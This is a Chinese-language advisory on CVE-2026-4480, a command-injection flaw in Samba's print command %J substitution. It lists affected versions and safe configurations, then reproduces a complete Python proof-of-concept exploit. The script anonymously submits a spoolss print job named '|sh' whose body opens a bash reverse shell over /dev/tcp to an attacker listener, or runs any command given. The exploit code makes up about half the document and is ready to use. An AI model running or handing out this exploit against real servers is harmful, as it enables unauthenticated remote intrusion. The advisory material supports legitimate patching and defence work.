
Samba是一款基于GPL协议的开源软件,由Andrew Tridgell于1991年开发,是Linux和UNIX系统上对SMB/CIFS协议的完整实现,主要用于跨平台文件和打印机资源共享,能让非Windows系统(如Linux、macOS)与Windows系统无缝互通。
它包含smbd(处理文件/打印共享、身份验证)和nmbd(NetBIOS名称解析与网络发现)两个核心守护进程,可作为Active Directory域控制器或成员服务器,支持LDAP、Kerberos等安全协议,广泛应用于企业、教育机构和家庭网络,是混合操作系统环境下跨平台协作的关键工具。
该漏洞的根本原因是CWE-78(OS 命令注入)。在Samba的打印配置中,print command设置支持%J占位符用于表示打印任务ID。然而,Samba将客户端控制的打印任务描述字符串直接传递给系统Shell命令而未进行特殊字符转义。
攻击者可以通过发送包含恶意Shell命令的伪造打印任务描述来利用此漏洞。当服务器执行配置的print command时,会无意间以Samba进程权限执行攻击者注入的有效载荷。在默认启用guest打印的环境中,此风险会被显著放大,因为攻击者无需有效凭证即可触发漏洞利用。
攻击者向Samba打印服务发送精心构造的打印任务,其中在任务描述字段中包含Shell元字符(如 ;、|、&、$ 等)。由于%J参数未进行转义,注入的命令将在服务器端执行。
利用条件:
1) Samba 服务器配置为打印服务器;
2) smb.conf 中的 print command 包含 %J 替换参数;
3) 攻击者能够访问打印服务(在启用 guest 打印的环境中无需认证)。
CVE-2026-4480
4.1.0 <= Samba < 4.22.10
4.23.0 <= Samba < 4.23.8
4.24.0 <= Samba < 4.24.3
Red Hat Enterprise Linux 7/8/9/10、OpenShift 4.x 预装 Samba 均受影响。
不受影响的配置:
使用 printing = cups 或 printing = iprint 配置的 Samba 服务器不受此漏洞影响。
不在 print command 设置中使用 %J 参数的服务器也不受影响。请检查 smb.conf 配置文件确认您的部署是否存在风险。POC:
https://github.com/TheCyberGeek/CVE-2026-4480-PoC
#!/usr/bin/env python3
"""
CVE-2026-4480 - Samba print-command (%J) injection -> unauthenticated RCE.
Made by TheCyberGeek @ HackTheBox
"""
import argparse
import sys
try:
from samba.dcerpc import spoolss
from samba.param import LoadParm
from samba.credentials import Credentials
except ImportError:
sys.exit("[-] Samba Python bindings missing. Install with: sudo apt install python3-samba")
PRINTER_ACCESS_USE = 0x00000008
def reverse_shell(lhost, lport):
# Must be non-empty (Samba skips the print command for a 0-byte spool file) and
# must detach (the command runs synchronously inside EndDocPrinter; a foreground
# shell would block smbd and hang/timeout the RPC).
return ("setsid bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1' >/dev/null 2>&1 &\n"
% (lhost, lport)).encode()
def exploit(rhost, printer, body):
lp = LoadParm()
lp.load_default()
creds = Credentials()
creds.guess(lp)
creds.set_anonymous() # the guest printer share needs no creds
binding = r"ncacn_np:%s[\pipe\spoolss]" % rhost
iface = spoolss.spoolss(binding, lp, creds)
handle = iface.OpenPrinter("\\\\%s\\%s" % (rhost, printer), "",
spoolss.DevmodeContainer(), PRINTER_ACCESS_USE)
info = spoolss.DocumentInfo1()
info.document_name = "|sh" # this is what lands in %J
info.output_file = None
info.datatype = "RAW"
ctr = spoolss.DocumentInfoCtr()
ctr.level = 1
ctr.info = info
iface.StartDocPrinter(handle, ctr)
iface.StartPagePrinter(handle)
iface.WritePrinter(handle, body, len(body)) # this is %s (the spool body, run as a script)
iface.EndPagePrinter(handle)
iface.EndDocPrinter(handle) # triggers the print command server-side
iface.ClosePrinter(handle)
def main():
p = argparse.ArgumentParser(
description="CVE-2026-4480 Samba print %J injection -> reverse shell")
p.add_argument("rhost", help="target Samba host/IP")
p.add_argument("lhost", help="your listener IP (e.g. tun0)")
p.add_argument("lport", type=int, help="your listener port")
p.add_argument("-P", "--printer", default="HP-Reception",
help="guest printer share name (default: HP-Reception)")
p.add_argument("-c", "--cmd",
help="run this shell command instead of a reverse shell (LHOST/LPORT ignored)")
args = p.parse_args()
if args.cmd:
body = (args.cmd.rstrip("\n") + "\n").encode()
else:
body = reverse_shell(args.lhost, args.lport)
print("[*] target : %s (\\\\%s\\%s)" % (args.rhost, args.rhost, args.printer))
if not args.cmd:
print("[*] callback : %s:%d (start a listener first: nc -lvnp %d)"
% (args.lhost, args.lport, args.lport))
try:
exploit(args.rhost, args.printer, body)
except Exception as e:
sys.exit("[-] exploit failed: %s" % e)
print("[+] print job submitted -- check your listener / out-of-band channel")
if __name__ == "__main__":
main()https://www.samba.org/samba/security/CVE-2026-4480.html
https://access.redhat.com/security/cve/CVE-2026-4480